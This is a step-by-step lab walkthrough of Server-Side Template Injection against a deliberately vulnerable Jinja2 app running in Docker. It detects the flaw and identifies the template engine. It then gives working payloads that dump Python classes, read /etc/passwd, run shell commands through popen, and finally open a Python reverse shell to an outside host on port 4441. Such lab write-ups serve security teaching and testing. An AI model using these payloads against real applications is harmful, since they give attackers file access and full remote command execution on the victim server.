SSTI (Server-Side Template Injection)

Fetching & Running The SSTI Vulnerable App

Run the below command to fetch the SSTI lab container

sudo docker pull dockerbucket/ssti_env

The below command starts the container & runs the vulnerable app on port 60

 sudo docker run -p 60:60 dockerbucket/ssti_env python /root/vulncode.py

SSTI (Server-Side Template Injection)

1 - Detect Where The Template Injection Exist & Validate The Vulnerability

Note : fire-up your proxy so we can intercept & observe the requests to be sent to the server

After browsing the app on 0.0.0.0:60 we can see a search field, and to detect the SSTI, we can use a simple payload (usually mathematical payloads are being used to see if the server does the calculation for us! if so, then we can confirm the vulnerability)

{{3*2}}

and if we observe the request before forwarding it, we can see that we are injecting into the username parameter of the POST body

After forwarding the request, we can see that the Server executed the equation for us and the result is reflected in the server response!

at this phase, we can conclude that the vulnerable Parameter is username

now, we will move to the next step, to identify the Template Engine

2 - Identify The Template Engine

as @u0pattern_cs mentioned in his post we can follow the approach presented in the below image to identify the Template Engine in use

Note: we will follow the green arrow and If the injection fails, we will follow the red arrow.

from the previous step we used the {{3*2}} payload, so now we will move forward to the next test case and we will use the following payload

{{3*’2’}}

and after forwarding the request , we received the following response from the server

if we analyze the server response we can say that the server is still executing our payload (the server prints 2 three times), so the Template Engine can be either Jinja2 (for Python) or Twig (for PHP)

we will first start testing if it’s a Python Template Engine, we will use the below payload (for Python 2) which tries to dump the classes

{{''.__class__.__mro__[2].__subclasses__()}}

and we can see in the below screenshots that we were able to dump the classes names

so we can confirm from this phase that the Template Engine is Jinja2

3 - Exploit the Vulnerability

3.1 - Reading /etc/passwd

After dumping the classes, we can utilize the file class to read the content of /etc/passwd , the class index is 40 and to confirm this we can use the below command to obtain the class name at that index

{{''.__class__.__mro__[2].__subclasses__()[40]}}

Now we can call the read() function from the File class to read the content of /etc/passwd

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

3.2 ls

to execute bash commands in python we can utilize os library, but how can we use this library in Jinja template engine ? we would need to use the import statement to bring the os library into our context so we can call the library functions.

Sam mentioned in his project-assignments for his students (which solved the same lab BTW!) that we can use the catch_warnings function to reach the import

I tried to build a payload that performs steps mentioned by Sam which are :

  • looping over the classes

  • for each class, we are searching for a function that has a “warning” string

  • using the catch_warnings function to reach the import

  • using import to import the os.system

  • calling popen and passing our commands! (below we are passing ls command)

{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen('ls').read().zfill(417)}}{% endif %}{% endfor %}

after injecting this payload, we can see that we were able to perform ls

3.3 Reverse Shell

Using the previous approach we can also obtain a reverse shell, but instead we will pass a python one-line script to the popen

python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'

so the final payload will be :

{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen("python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'").read().zfill(417)}}{% endif %}{% endfor %}

and if we execute it we will successfully obtain the shell as can be seen below

Note:

  • As the vulnerable application is installed in a docker container, to obtain a reverse shell I started another container in my machine (kali as you see), I’m not aware of how to pass connections between docker containers and other VMs or main host machine

Last updated

Was this helpful?